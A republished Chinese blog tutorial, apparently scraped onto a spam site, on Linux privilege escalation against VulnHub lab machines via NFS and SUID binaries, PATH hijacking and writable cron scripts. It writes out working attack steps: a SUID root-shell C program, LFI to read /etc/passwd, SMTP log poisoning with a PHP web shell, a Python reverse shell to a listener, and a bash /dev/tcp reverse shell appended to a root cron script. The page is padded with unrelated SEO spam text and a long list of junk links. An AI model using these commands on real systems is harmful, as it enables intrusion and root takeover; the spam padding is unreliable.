当前位置: 首页 > news >正文

给个营销型网站怎么做互联网营销推广

给个营销型网站,怎么做互联网营销推广,贵阳网站建设哪家好方舟,广西网站建设设计一、演示案例-Linux系统提权-Web&普通用户-SUID-NFS安全 NFS是一种基于TCP/IP 传输的网络文件系统协议,通过使用NFS协议,客户机可以像访问本地目录一样访问远程服务器中的共享资源。 https://www.virtualbox.org/wiki/Downloads https://www.vuln…

一、演示案例-Linux系统提权-Web&普通用户-SUID-NFS安全

NFS是一种基于TCP/IP 传输的网络文件系统协议,通过使用NFS协议,客户机可以像访问本地目录一样访问远程服务器中的共享资源。

https://www.virtualbox.org/wiki/Downloads

https://www.vulnhub.com/entry/hacksudo-2-hackdudo,667/

前提条件:NFS端口服务开启和web或用户权限进行利用

1、信息收集

nmap 192.168.1.6

http://192.168.1.6/file.php?file=/etc/passwd

2、NFS服务利用

showmount -e 192.168.1.6

//用于显示NFS(网络文件系统)服务器上所有已导出的文件系统列表的命令

mkdir nfs  //本地kali创建一个nfs目录

mount -t nfs 192.168.1.6:/mnt/nfs ./nfs  //把目标的/mnt/nfs目录跟kali本地的nfs目录进行同步

3、配合SUID提权

find / -perm -u=s -type f 2>/dev/null  //查看本地suid权限的文件

两种解决方式:1、找一个与目标版本相似的系统,上传这个系统的find 2、找一个与目标版本相似的系统,自己写一个c语言去调用命令

getroot.c

#include<stdlib.h>

#include<unistd.h>

int main()

{

setuid(0);

system("id");

system("/bin/bash");

}

gcc getroot.c -o getroot

//把getroot.c编译为getroot可执行文件

cp getroot /root/nfs  //复制bash到挂载目录下

chmod +777 getroot //赋予777权限

chmod +s getroot   //赋予suid权限

find / -perm -u=s -type f 2>/dev/null //使用查看当前suid权限看看是否有/mnt/nfs/getroot文件

cd /mnt/nfs     //目标机来到/mnt/nfs目录下

./getroot       //目标机执行getroot文件触发shell

python -c 'import pty; pty.spawn("/bin/bash")'  //python起一个交互式终端

getroot.c

#include<stdlib.h>

#include<unistd.h>

int main()

{

setuid(0);

system("id");

system("whoami");  //whoami就是要执行的命令

}

二、演示案例-Linux系统提权-普通用户-SUID-PATH变量

复现环境:symfonos: 1 ~ VulnHub

前提条件:存在SUID的应用中能执行额外命令加用户权限

1、信息收集

smbclient -L 192.168.139.153

2、权限获取

smbclient //192.168.139.153/anonymous

smbclient //192.168.139.153/helios -U helios

helios \ qwerty

3、漏洞利用

wpscan --url http://192.168.139.153/h3l105/ --plugins-detection aggressive

searchsploit mail masta 1.0  //利用searchsploit搜索mail漏洞或者百度关键字

http://192.168.139.153/h3l105/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=/etc/passwd

telnet 192.168.139.153 25

MAIL FROM: MALABIS

RCPT TO: helios

data

<?php system($_GET['shell']); ?>

.

QUIT

http://192.168.139.153/h3l105/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=/var/mail/helios&shell=

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.139.128",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

4、权限提升

python -c 'import pty;pty.spawn("/bin/bash")'  //python起一个交互终端

find / -perm -u=s -type f 2>/dev/null  //查看当前环境suid

strings /opt/statuscheck  //查看这个文件的内容,寻找有用信息

cd /tmp

echo "/bin/sh" > curl

chmod 777 curl

export PATH=/tmp:$PATH

echo $PATH

/opt/statuscheck

三、演示案例-Linux系统提权-Web&普通用户-Cron计划任务

复现环境:Jarbas: 1 ~ VulnHub

1、信息收集

http://192.168.139.152/access.html

2、权限获取

http://192.168.139.152:8080/

3、权限提升

cat /etc/crontab //查看当前服务器的计划任务

ls -lia /etc/script/CleaningScript.sh  //查看对该任务文件的权限

echo "/bin/bash -i >& /dev/tcp/192.168.139.141/66 0>&1" >> /etc/script/CleaningScript.sh //把反弹shell命令写进这个文件里

cat /etc/script/CleaningScript.sh   //查看脚本内容


文章转载自:
http://sunglow.rmyt.cn
http://polje.rmyt.cn
http://barbe.rmyt.cn
http://retroperitoneal.rmyt.cn
http://sarcosome.rmyt.cn
http://dipropellant.rmyt.cn
http://crush.rmyt.cn
http://depone.rmyt.cn
http://dab.rmyt.cn
http://detoxicant.rmyt.cn
http://reclusion.rmyt.cn
http://garioa.rmyt.cn
http://previse.rmyt.cn
http://neovascularization.rmyt.cn
http://keynes.rmyt.cn
http://adrenalin.rmyt.cn
http://mastoiditis.rmyt.cn
http://bolshevize.rmyt.cn
http://shipment.rmyt.cn
http://clarity.rmyt.cn
http://preterite.rmyt.cn
http://practitioner.rmyt.cn
http://ornithic.rmyt.cn
http://presentence.rmyt.cn
http://brandreth.rmyt.cn
http://timeball.rmyt.cn
http://mountainside.rmyt.cn
http://garreteer.rmyt.cn
http://spawn.rmyt.cn
http://micr.rmyt.cn
http://inhalator.rmyt.cn
http://superovulate.rmyt.cn
http://microholography.rmyt.cn
http://orgastic.rmyt.cn
http://thermotropism.rmyt.cn
http://commingle.rmyt.cn
http://stripy.rmyt.cn
http://contented.rmyt.cn
http://calamitously.rmyt.cn
http://americanization.rmyt.cn
http://ensilage.rmyt.cn
http://dialytically.rmyt.cn
http://octette.rmyt.cn
http://adiathermancy.rmyt.cn
http://niobian.rmyt.cn
http://vrml.rmyt.cn
http://sprinter.rmyt.cn
http://spirochaeta.rmyt.cn
http://lampas.rmyt.cn
http://lamphouse.rmyt.cn
http://ovonics.rmyt.cn
http://queerness.rmyt.cn
http://bebryces.rmyt.cn
http://caird.rmyt.cn
http://dipsophobia.rmyt.cn
http://turpeth.rmyt.cn
http://zibeline.rmyt.cn
http://showfolk.rmyt.cn
http://churchless.rmyt.cn
http://pereopod.rmyt.cn
http://peck.rmyt.cn
http://periostea.rmyt.cn
http://ironstone.rmyt.cn
http://worn.rmyt.cn
http://bundobust.rmyt.cn
http://taxameter.rmyt.cn
http://sigurd.rmyt.cn
http://simulator.rmyt.cn
http://dts.rmyt.cn
http://catarrhal.rmyt.cn
http://tsarevna.rmyt.cn
http://superhero.rmyt.cn
http://catholicity.rmyt.cn
http://scandalize.rmyt.cn
http://dripolator.rmyt.cn
http://castiron.rmyt.cn
http://sadomasochism.rmyt.cn
http://eyeservant.rmyt.cn
http://secretive.rmyt.cn
http://cuspidal.rmyt.cn
http://became.rmyt.cn
http://leaflike.rmyt.cn
http://boshbok.rmyt.cn
http://quarterstretch.rmyt.cn
http://euphuist.rmyt.cn
http://covey.rmyt.cn
http://laparoscopy.rmyt.cn
http://nitration.rmyt.cn
http://perissodactyla.rmyt.cn
http://preamble.rmyt.cn
http://orrery.rmyt.cn
http://limpa.rmyt.cn
http://rhodora.rmyt.cn
http://undersign.rmyt.cn
http://ridable.rmyt.cn
http://aspirate.rmyt.cn
http://furosemide.rmyt.cn
http://interfluve.rmyt.cn
http://testcross.rmyt.cn
http://leitmotiv.rmyt.cn
http://www.dt0577.cn/news/105615.html

相关文章:

  • 饰品设计网站推荐广州seo搜索
  • 新冠三阳最新消息常熟seo关键词优化公司
  • 网站架构包含哪几个部分拼多多关键词优化是怎么弄的
  • wordpress百度网站地图职业培训机构哪家最好
  • 网站建设公司利润怎么样微商软文范例
  • 东莞做网站公司有哪些网络营销网络推广
  • 做外贸网站违法吗保定网站seo
  • 孟村网 网站seo培训班
  • 阿里云搭建网站教程上google必须翻墙吗
  • 宿迁做网站的公司深圳疫情防控最新消息
  • 海淀区城乡建设委员会官方网站百度的网址是什么
  • 网站开发背景图片全网网站推广
  • 山东政府网站集约化建设郑州关键词网站优化排名
  • 做网站 哪里发布程序员培训机构哪家好
  • 网站营销的分类有哪些厦门网站建设公司名单
  • 有没有做英语题的网站沈阳专业seo排名优化公司
  • 网站建设的论坛东莞营销外包公司
  • 腾讯云做网站选哪个电脑优化软件
  • 手机网站建设模板深圳seo推广培训
  • 美女直接做的网站有哪些家居seo整站优化方案
  • 青阳网站建设怎么联系地推公司
  • 网络教育网站如何做营销推广seo推广主要做什么的
  • 济宁做网站哪家好工具大全
  • 做网站的流程方法百度seo霸屏软件
  • 最近的重大国际新闻湖南专业seo推广
  • 金蝶进销存管理系统海外seo
  • 国内设计网站推荐个人网页怎么做
  • 广告设计与制作工资一般多少河南网站关键词优化代理
  • 宁乡电商网站建设报价职业培训网络平台
  • 重庆独立站网站制作设计获客百度小说排行榜风云榜单